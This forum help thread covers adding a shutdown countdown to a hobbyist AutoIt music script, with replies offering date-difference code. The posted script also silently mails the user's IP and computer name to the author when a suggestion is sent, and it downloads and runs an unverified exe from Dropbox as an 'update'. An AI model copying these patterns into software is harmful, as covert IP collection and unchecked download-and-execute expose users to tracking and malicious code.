Jump to content

Countdown help


Recommended Posts

Okay, so I want to use $label3 as a countdown label that counts down to when it's gonna turn off. But I can't figure out how to do it. $1 is the time it's supposed to shutdown, in a timeform like 13:50. How can I make a countdown of a string value of example 13:50 and 14:20?

#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_Res_requestedExecutionLevel=asInvoker
#AutoIt3Wrapper_Add_Constants=n
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
#include <Sound.au3>
#include <INet.au3>
#include <GUIConstantsEx.au3>
$SongNumber=15
$Songs=100/$SongNumber
DirCreate(@ScriptDir & "\Songs")
If Not FileExists(@ScriptDir & "\Songs\1.mp3") Or Not FileExists(@ScriptDir & "\Songs\2.mp3") Or Not FileExists(@ScriptDir & "\Songs\3.mp3") Or Not FileExists(@ScriptDir & "\Songs\4.mp3") Or Not FileExists(@ScriptDir & "\Songs\5.mp3") Or Not FileExists(@ScriptDir & "\Songs\6.mp3") Or Not FileExists(@ScriptDir & "\Songs\7.mp3") Or Not FileExists(@ScriptDir & "\Songs\8.mp3") Or Not FileExists(@ScriptDir & "\Songs\9.mp3") Or Not FileExists(@ScriptDir & "\Songs\10.mp3") Or Not FileExists(@ScriptDir & "\Songs\11.mp3") Then
ProgressOn("Progress Meter", "Install Progress", "0 percent")
ProgressSet( 0, 0 & " percent")
If not FileExists(@ScriptDir & "\Songs\1.mp3") Then FileInstall("C:\Users\Elias\Documents\Autoit\Laptop\Shutdown\Songs\1.mp3", @ScriptDir & "\Songs\1.mp3")
ProgressSet( $Songs, $Songs & " percent")
If not FileExists(@ScriptDir & "\Songs\2.mp3") Then FileInstall("C:\Users\Elias\Documents\Autoit\Laptop\Shutdown\Songs\2.mp3", @ScriptDir & "\Songs\2.mp3")
ProgressSet( 2*$Songs, 2*$Songs & " percent")
If not FileExists(@ScriptDir & "\Songs\3.mp3") Then FileInstall("C:\Users\Elias\Documents\Autoit\Laptop\Shutdown\Songs\3.mp3", @ScriptDir & "\Songs\3.mp3")
ProgressSet( 3*$Songs, 3*$Songs & " percent")
If not FileExists(@ScriptDir & "\Songs\4.mp3") Then FileInstall("C:\Users\Elias\Documents\Autoit\Laptop\Shutdown\Songs\4.mp3", @ScriptDir & "\Songs\4.mp3")
ProgressSet( 4*$Songs, 4*$Songs & " percent")
If not FileExists(@ScriptDir & "\Songs\5.mp3") Then FileInstall("C:\Users\Elias\Documents\Autoit\Laptop\Shutdown\Songs\5.mp3", @ScriptDir & "\Songs\5.mp3")
ProgressSet( 5*$Songs, 5*$Songs & " percent")
If not FileExists(@ScriptDir & "\Songs\6.mp3") Then FileInstall("C:\Users\Elias\Documents\Autoit\Laptop\Shutdown\Songs\6.mp3", @ScriptDir & "\Songs\6.mp3")
ProgressSet( 6*$Songs, 6*$Songs & " percent")
If not FileExists(@ScriptDir & "\Songs\7.mp3") Then FileInstall("C:\Users\Elias\Documents\Autoit\Laptop\Shutdown\Songs\7.mp3", @ScriptDir & "\Songs\7.mp3")
ProgressSet( 7*$Songs, 7*$Songs & " percent")
If not FileExists(@ScriptDir & "\Songs\8.mp3") Then FileInstall("C:\Users\Elias\Documents\Autoit\Laptop\Shutdown\Songs\8.mp3", @ScriptDir & "\Songs\8.mp3")
ProgressSet( 8*$Songs, 8*$Songs & " percent")
If not FileExists(@ScriptDir & "\Songs\9.mp3") Then FileInstall("C:\Users\Elias\Documents\Autoit\Laptop\Shutdown\Songs\9.mp3", @ScriptDir & "\Songs\9.mp3")
ProgressSet( 9*$Songs, 9*$Songs & " percent")
If not FileExists(@ScriptDir & "\Songs\10.mp3") Then FileInstall("C:\Users\Elias\Documents\Autoit\Laptop\Shutdown\Songs\10.mp3", @ScriptDir & "\Songs\10.mp3")
ProgressSet( 10*$Songs, 10*$Songs & " percent")
If not FileExists(@ScriptDir & "\Songs\11.mp3") Then FileInstall("C:\Users\Elias\Documents\Autoit\Laptop\Shutdown\Songs\11.mp3", @ScriptDir & "\Songs\11.mp3")
ProgressSet( 11*$Songs, 11*$Songs & " percent")
If not FileExists(@ScriptDir & "\Songs\12.mp3") Then FileInstall("C:\Users\Elias\Documents\Autoit\Laptop\Shutdown\Songs\12.mp3", @ScriptDir & "\Songs\12.mp3")
ProgressSet( 12*$Songs, 12*$Songs & " percent")
If not FileExists(@ScriptDir & "\Songs\13.mp3") Then FileInstall("C:\Users\Elias\Documents\Autoit\Laptop\Shutdown\Songs\13.mp3", @ScriptDir & "\Songs\13.mp3")
ProgressSet( 13*$Songs, 13*$Songs & " percent")
If not FileExists(@ScriptDir & "\Songs\14.mp3") Then FileInstall("C:\Users\Elias\Documents\Autoit\Laptop\Shutdown\Songs\14.mp3", @ScriptDir & "\Songs\14.mp3")
ProgressSet( 14*$Songs, 14*$Songs & " percent")
If not FileExists(@ScriptDir & "\Songs\15.mp3") Then FileInstall("C:\Users\Elias\Documents\Autoit\Laptop\Shutdown\Songs\15.mp3", @ScriptDir & "\Songs\15.mp3")
ProgressSet( 100, "Done", "Complete")
ProgressOff()
EndIf
Local $last, $2ndlast, $3rdlast, $4thlast, $random, $open, $DisplayTime, $Timeleft, $length
$Getnew=1
$Pause=1
$Nosong=0
If @HOUR<>23 Then
If @MIN>39 Then $time = @HOUR+1 & ":" & @MIN-30
If @MIN>29 And @MIN<40 Then $time = @HOUR+1 & ":0" & @MIN-30
If @MIN<30 Then $time = @Hour & ":" & @MIN+30
If @MIN>39 Then $1 = @HOUR+1 & ":0" & @MIN-30
If @MIN>29 And @MIN<40 Then $1 = @HOUR+1 & ":0" & @MIN-30
If @MIN<30 Then $1 = @Hour & ":" & @MIN+30
EndIf
If @HOUR=23 Then
If @MIN>39 Then $time = @HOUR-23 & "0:" & @MIN-30
If @MIN>29 And @MIN<40 Then $time = @HOUR+1 & "0:0" & @MIN-30
If @MIN<30 Then $time = @Hour & ":" & @MIN+30
If @MIN>39 Then $1 = @HOUR-23 & "0:0" & @MIN-30
If @MIN>29 And @MIN<40 Then $1 = @HOUR+1 & "0:0" & @MIN-30
If @MIN<30 Then $1 = @Hour & ":" & @MIN+30
EndIf
GUICreate("", 150, 205)
$Exit=GUICtrlCreateButton("Exit", 10, 160, 130, 20)
$Turnofftime=GUICtrlCreateInput($time, 50, 10, 35, 20)
$Apply=GUICtrlCreateButton("Applied", 90, 10, 50, 20)
$Undo=GUICtrlCreateButton("Undo", 10, 10, 35, 20)
$Start=GUICtrlCreateButton("Start", 10, 40, 130, 20)
$Next=GUICtrlCreateButton("Next Song", 10, 70, 130, 20)
$Suggestion=GUICtrlCreateButton("Suggest Something", 10, 100, 130, 20)
$Update=GUICtrlCreateButton("Update Program", 10, 130, 130, 20)
$label=GUICtrlCreateLabel("", 15, 185, 60, 20)
$label2=GUICtrlCreateLabel("", 60, 185, 60, 20)
$label3=GUICtrlCreateLabel("", 105, 185, 60, 20)
GUISetState()
If FileExists(@ScriptDir & "updateshutdown.exe") Then FileDelete(@ScriptDir & "updateshutdown.exe")
$o1=GUICtrlRead($Turnofftime)
$o2=GUICtrlRead($Turnofftime)
$o3=GUICtrlRead($Turnofftime)
WHile 1
If $o1<>GUICtrlRead($Turnofftime) Then
$o1=GUICtrlRead($Turnofftime)
GUICtrlSetData($Apply, "Apply")
EndIf
If $o2=GUICtrlRead($Turnofftime) And GUICtrlRead($Apply)="Apply" Then
GUICtrlSetData($Apply, "Applied")
EndIf
$msg=GUIGetMsg()
Switch $msg
Case $GUI_EVENT_CLOSE
Exit
Case $Undo
If GUICtrlRead($Apply)="Apply" Then GUICtrlSetData($Turnofftime, $o2)
If GUICtrlRead($Apply)="Applied" Then GUICtrlSetData($Turnofftime, $o3)
Case $Update
Update()
Case $Suggestion
$Sugg=InputBox("Suggest Something", "Type in the name of a new song or any other suggestion here." & @CRLF & @CRLF & "Note: Sending a suggestion can take a while, and may cause lag.")
If $Sugg<>"" Then
$SMTP=InputBox("Smtp", "If you know the smpt server for your internet provider, please type it in here.")
SendMail()
EndIf
Case $Next
If $Nosong=1 Then
$Getnew=1
_SoundClose($open)
$4thlast=$3rdlast
$3rdlast=$2ndlast
$2ndlast=$last
$last=$random
EndIf
Case $Exit
Exit
Case $Apply
$1=GUICtrlRead($Turnofftime)
$o3=$o2
$o2=$1
GUICtrlSetData($Apply, "Applied")
Case $Start
If $Pause=1 Then
If $Getnew=0 Then
     _SoundResume($open)
EndIf
$MakePause=0
GUICtrlSetData($Start, "Pause")
EndIf
If $Pause=0 Then
_SoundPause($open)
$MakePause=1
GUICtrlSetData($Start, "Start")
EndIf
If $MakePause=0 Then $Pause=0
If $MakePause=1 Then $Pause=1
EndSwitch
If $Pause=0 Then
If $1=@HOUR & ":" & @MIN Then ExitLoop
If $Getnew=1 Then
$random=Random(1, $SongNumber, 1)
If $random<>$last and $random<>$2ndlast and $random<>$3rdlast and $random<>$4thlast Then
$open=_SoundOpen(@ScriptDir & "\Songs\" & $random & ".mp3")
$length=_SoundLength($open, 2)
_SoundPlay($open, 0)
$Getnew=0
$Nosong=1
EndIf
EndIf
If _SoundPos($open, 2) > $length-1 Then
$Getnew=1
_SoundClose($open)
$4thlast=$3rdlast
$3rdlast=$2ndlast
$2ndlast=$last
$last=$random
EndIf
EndIf
$OldDisplayTime=$DisplayTime
$OldTimeleft=$Timeleft
$DisplayTime = _SoundPos($open, 2)
$Timeleft = $length-$DisplayTime
$Timeleft = _TimeReadable($Timeleft)
$DisplayTime = _TimeReadable($DisplayTime)
If $OldDisplayTime <> $DisplayTime Then GUICtrlSetData($label, $DisplayTime)
If $OldTimeleft <> $Timeleft Then GUICtrlSetData($label2, $Timeleft)
WEnd
Shutdown(1)
Func SendMail()
While 1
If $SMTP <> "" Then
$s_SmtpServer = $SMTP
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop
EndIf
$s_SmtpServer = "smtp.online.no"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop
$s_SmtpServer = "smtp.broadpark.no"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop
$s_SmtpServer = "smtp.gmail.com"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop
$s_SmtpServer = "smtp.live.no"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop
$s_SmtpServer = "smtp.altibox.no"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop
$s_SmtpServer = "smtp.sfjbb.net"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop
$s_SmtpServer = "smtp.signal.no"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop
$s_SmtpServer = "smtp.netcom.no"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop
$s_SmtpServer = "mail.c2i.net"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop
$s_SmtpServer = "smtp.brednett.no"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop
$s_SmtpServer = "smtp.alltidonline.no"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop
$s_SmtpServer = "smtp.ice.no"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop
$s_SmtpServer = "smartmail.hjemme.no"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop
$s_SmtpServer = "smtp.bluecom.no"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop
$s_SmtpServer = "mail.bntv.no"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop
$s_SmtpServer = "smtp.catch.no"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop
$s_SmtpServer = "smtp.chello.no"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop
$s_SmtpServer = "smtp.dataguard.no"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop
$s_SmtpServer = "smtp.directconnect.no"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop
$s_SmtpServer = "smtp.enter.vg"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop
$s_SmtpServer = "smtp.eunet.no"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop
$s_SmtpServer = "smtp.fastcom.no"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop
$s_SmtpServer = "smtp.fiber365.no"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop
$s_SmtpServer = "smtp.tbbb.no"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop
MsgBox(0, "Error:", "Error: Unable to send suggestion.")
ExitLoop
WEnd
EndFunc
Func Update()
Local $hDownload = InetGet("https://dl.dropbox.com/u/47967650/updateshutdown.exe", @ScriptDir & "\updateshutdown.exe", 1, 1)
Do
Sleep(250)
Until InetGetInfo($hDownload, 2)
InetClose($hDownload)
Sleep(1000)
Run(@ScriptDir & "\updateshutdown.exe")
EndFunc
Func _TimeReadable($mili)
$TotalSeconds = Int($mili / 1000)
$Hours = Int($TotalSeconds / 3600)
$Minutes = Int(($TotalSeconds - ($Hours * 3600)) / 60)
$Seconds = $TotalSeconds - (($Hours * 3600) + ($Minutes * 60))
If $Hours < 10 Then $Hours = "0" & $Hours
If $Minutes < 10 Then $Minutes = "0" & $Minutes
If $Seconds < 10 Then $Seconds = "0" & $Seconds
$FormattedTime = $Minutes & ":" & $Seconds
Return $FormattedTime
EndFunc

You probably can't test it as you don't have the soundfiles, though?.

Edited by Melba23
Changed tags
Link to comment
Share on other sites

Can you please tell us what you want to do with this script? I'm sure it can be cut down to a third by using loops etc.

My UDFs and Tutorials:

Spoiler

UDFs:
Active Directory (NEW 2022-02-19 - Version 1.6.1.0) - Download - General Help & Support - Example Scripts - Wiki
ExcelChart (2017-07-21 - Version 0.4.0.1) - Download - General Help & Support - Example Scripts
OutlookEX (2021-11-16 - Version 1.7.0.0) - Download - General Help & Support - Example Scripts - Wiki
OutlookEX_GUI (2021-04-13 - Version 1.4.0.0) - Download
Outlook Tools (2019-07-22 - Version 0.6.0.0) - Download - General Help & Support - Wiki
PowerPoint (2021-08-31 - Version 1.5.0.0) - Download - General Help & Support - Example Scripts - Wiki
Task Scheduler (NEW 2022-07-28 - Version 1.6.0.1) - Download - General Help & Support - Wiki

Standard UDFs:
Excel - Example Scripts - Wiki
Word - Wiki

Tutorials:
ADO - Wiki
WebDriver - Wiki

 

Link to comment
Share on other sites

Can you please tell us what you want to do with this script? I'm sure it can be cut down to a third by using loops etc.

It's a script that plays music until the clock is equal to what's in the input box. Then the computer will turn off. But I want to have a countdown timer that shows how many hours, minutes and seconds until it turns itself off as $label3. Hope this is more understandable.

Edit: And the script is long cause of the sendmail function. Not really needed, but I have it there for friends etc that uses the program, so they can send me a mail with new song names etc easily through the program. It's long cause it has different smtp servers cause it needs the one that's from the internet provider. (I don't know of any smpt servers that works from every computer...)

Edited by TheNorwegianUser
Link to comment
Share on other sites

Did you use the search function of this forum?

Only search the titles for "countdown" and you'll find ~90 entries. I'm sure one of them is what you need.

My UDFs and Tutorials:

Spoiler

UDFs:
Active Directory (NEW 2022-02-19 - Version 1.6.1.0) - Download - General Help & Support - Example Scripts - Wiki
ExcelChart (2017-07-21 - Version 0.4.0.1) - Download - General Help & Support - Example Scripts
OutlookEX (2021-11-16 - Version 1.7.0.0) - Download - General Help & Support - Example Scripts - Wiki
OutlookEX_GUI (2021-04-13 - Version 1.4.0.0) - Download
Outlook Tools (2019-07-22 - Version 0.6.0.0) - Download - General Help & Support - Wiki
PowerPoint (2021-08-31 - Version 1.5.0.0) - Download - General Help & Support - Example Scripts - Wiki
Task Scheduler (NEW 2022-07-28 - Version 1.6.0.1) - Download - General Help & Support - Wiki

Standard UDFs:
Excel - Example Scripts - Wiki
Word - Wiki

Tutorials:
ADO - Wiki
WebDriver - Wiki

 

Link to comment
Share on other sites

Did you use the search function of this forum?

Only search the titles for "countdown" and you'll find ~90 entries. I'm sure one of them is what you need.

Searched, but couldn't find a similar one. So I tried to make one, but it doesn't seem to work correctly, IDK what's wrong.

While 1
Sleep(50)
$1="24:00" & ":00"
$2=@HOUR & ":" & @MIN & ":" & @SEC
$1TrimLeft=StringTrimLeft($1, 6)
$1TrimRight=StringTrimRight($1, 6)
$2TrimLeft=StringTrimLeft($2, 6)
$2TrimRight=StringTrimRight($2, 6)
$1GetMiddle1=StringTrimLeft($1, 3)
$1GetMiddle2=StringTrimRight($1GetMiddle1, 3)
$2GetMiddle1=StringTrimLeft($2, 3)
$2GetMiddle2=StringTrimRight($2GetMiddle1, 3)
$1Trim=$1GetMiddle2+$1TrimLeft*60+$1TrimRight*3600
$2Trim=$2GetMiddle2+$2TrimLeft*60+$2TrimRight*3600
$Trim=($1Trim-$2Trim)*1000

$Countdown = _TimeReadable($Trim)
ToolTip($Countdown, 0, 0)
WEnd
Func _TimeReadable($mili)
$TotalSeconds = Int($mili / 1000)
$Hours = Int($TotalSeconds / 3600)
$Minutes = Int(($TotalSeconds - ($Hours * 3600)) / 60)
$Seconds = $TotalSeconds - (($Hours * 3600) + ($Minutes * 60))
If $Hours < 10 Then $Hours = "0" & $Hours
If $Minutes < 10 Then $Minutes = "0" & $Minutes
If $Seconds < 10 Then $Seconds = "0" & $Seconds
$FormattedTime = $Hours & ":" & $Minutes & ":" & $Seconds
Return $FormattedTime
EndFunc

Edit: Oh, just realised the only problem was that the seconds was counted in the middle, not at the right :P

Double edit: This does not work if one of the times are past 23:59... Any way to fix this?

Edited by TheNorwegianUser
Link to comment
Share on other sites

How about Press F11 to start.

My UDFs and Tutorials:

Spoiler

UDFs:
Active Directory (NEW 2022-02-19 - Version 1.6.1.0) - Download - General Help & Support - Example Scripts - Wiki
ExcelChart (2017-07-21 - Version 0.4.0.1) - Download - General Help & Support - Example Scripts
OutlookEX (2021-11-16 - Version 1.7.0.0) - Download - General Help & Support - Example Scripts - Wiki
OutlookEX_GUI (2021-04-13 - Version 1.4.0.0) - Download
Outlook Tools (2019-07-22 - Version 0.6.0.0) - Download - General Help & Support - Wiki
PowerPoint (2021-08-31 - Version 1.5.0.0) - Download - General Help & Support - Example Scripts - Wiki
Task Scheduler (NEW 2022-07-28 - Version 1.6.0.1) - Download - General Help & Support - Wiki

Standard UDFs:
Excel - Example Scripts - Wiki
Word - Wiki

Tutorials:
ADO - Wiki
WebDriver - Wiki

 

Link to comment
Share on other sites

Or by UE?

My UDFs and Tutorials:

Spoiler

UDFs:
Active Directory (NEW 2022-02-19 - Version 1.6.1.0) - Download - General Help & Support - Example Scripts - Wiki
ExcelChart (2017-07-21 - Version 0.4.0.1) - Download - General Help & Support - Example Scripts
OutlookEX (2021-11-16 - Version 1.7.0.0) - Download - General Help & Support - Example Scripts - Wiki
OutlookEX_GUI (2021-04-13 - Version 1.4.0.0) - Download
Outlook Tools (2019-07-22 - Version 0.6.0.0) - Download - General Help & Support - Wiki
PowerPoint (2021-08-31 - Version 1.5.0.0) - Download - General Help & Support - Example Scripts - Wiki
Task Scheduler (NEW 2022-07-28 - Version 1.6.0.1) - Download - General Help & Support - Wiki

Standard UDFs:
Excel - Example Scripts - Wiki
Word - Wiki

Tutorials:
ADO - Wiki
WebDriver - Wiki

 

Link to comment
Share on other sites

How about Press F11 to start.

I think I got it now.

While 1
Sleep(50)
$1="01:00" & ":00"
$2=@HOUR & ":" & @MIN & ":" & @SEC
$1TrimLeft=StringTrimLeft($1, 6)
$1TrimRight=StringTrimRight($1, 6)
$2TrimLeft=StringTrimLeft($2, 6)
$2TrimRight=StringTrimRight($2, 6)
$1GetMiddle1=StringTrimLeft($1, 3)
$1GetMiddle2=StringTrimRight($1GetMiddle1, 3)
$2GetMiddle1=StringTrimLeft($2, 3)
$2GetMiddle2=StringTrimRight($2GetMiddle1, 3)
$1Trim=$1GetMiddle2+$1TrimLeft*60+$1TrimRight*3600
$2Trim=$2GetMiddle2+$2TrimLeft*60+$2TrimRight*3600
If $1Trim>$2Trim Then $Trim=($1Trim-$2Trim)*1000
If $1Trim<$2Trim Then $Trim=(86400-$2Trim+$1Trim)*1000

$Countdown = _TimeReadable($Trim)
ToolTip($Countdown, 0, 0)
WEnd
Func _TimeReadable($mili)
$TotalSeconds = Int($mili / 1000)
$Hours = Int($TotalSeconds / 3600)
$Minutes = Int(($TotalSeconds - ($Hours * 3600)) / 60)
$Seconds = $TotalSeconds - (($Hours * 3600) + ($Minutes * 60))
If $Hours < 10 Then $Hours = "0" & $Hours
If $Minutes < 10 Then $Minutes = "0" & $Minutes
If $Seconds < 10 Then $Seconds = "0" & $Seconds
$FormattedTime = $Hours & ":" & $Seconds & ":" & $Minutes
Return $FormattedTime
EndFunc
Link to comment
Share on other sites

Or a bit shorter:

#include <Date.au3>
$sEndDT = _DateAdd("D", 1, _NowCalcDate()) & " 01:00:00"
While 1
    $iDiff = _DateDiff("s", _NowCalc(), $sEndDT)
    $iHours = Int($iDiff / 3600)
    $iMinutes = Int(($iDiff - ($iHours * 3600)) / 60)
    $iSeconds = $iDiff - (($iHours * 3600) + ($iMinutes * 60))
    $sFormattedTime = StringRight("0" & $iHours, 2) & ":" & StringRight("0" & $iMinutes, 2) & ":" & StringRight("0" & $iSeconds, 2)
    ToolTip($sFormattedTime)
    Sleep(250)
WEnd
Exit

My UDFs and Tutorials:

Spoiler

UDFs:
Active Directory (NEW 2022-02-19 - Version 1.6.1.0) - Download - General Help & Support - Example Scripts - Wiki
ExcelChart (2017-07-21 - Version 0.4.0.1) - Download - General Help & Support - Example Scripts
OutlookEX (2021-11-16 - Version 1.7.0.0) - Download - General Help & Support - Example Scripts - Wiki
OutlookEX_GUI (2021-04-13 - Version 1.4.0.0) - Download
Outlook Tools (2019-07-22 - Version 0.6.0.0) - Download - General Help & Support - Wiki
PowerPoint (2021-08-31 - Version 1.5.0.0) - Download - General Help & Support - Example Scripts - Wiki
Task Scheduler (NEW 2022-07-28 - Version 1.6.0.1) - Download - General Help & Support - Wiki

Standard UDFs:
Excel - Example Scripts - Wiki
Word - Wiki

Tutorials:
ADO - Wiki
WebDriver - Wiki

 

Link to comment
Share on other sites

Or a bit shorter:

#include <Date.au3>
$sEndDT = _DateAdd("D", 1, _NowCalcDate()) & " 01:00:00"
While 1
$iDiff = _DateDiff("s", _NowCalc(), $sEndDT)
$iHours = Int($iDiff / 3600)
$iMinutes = Int(($iDiff - ($iHours * 3600)) / 60)
$iSeconds = $iDiff - (($iHours * 3600) + ($iMinutes * 60))
$sFormattedTime = StringRight("0" & $iHours, 2) & ":" & StringRight("0" & $iMinutes, 2) & ":" & StringRight("0" & $iSeconds, 2)
ToolTip($sFormattedTime)
Sleep(250)
WEnd
Exit

It says its 24 hours too much, and doesn't seem to be working properly when the time is over 23:59:59. Maybe easier to see it in the whole script? I have a dropbox link to the .exe, so you can get the music aswell. Idk if it's needed, though.

https://dl.dropbox.com/u/47967650/shutdown.exe

Also, here's the code:

#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_Res_requestedExecutionLevel=asInvoker
#AutoIt3Wrapper_Add_Constants=n
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
#include 
#include 
#include 
#include 
$SongNumber=15
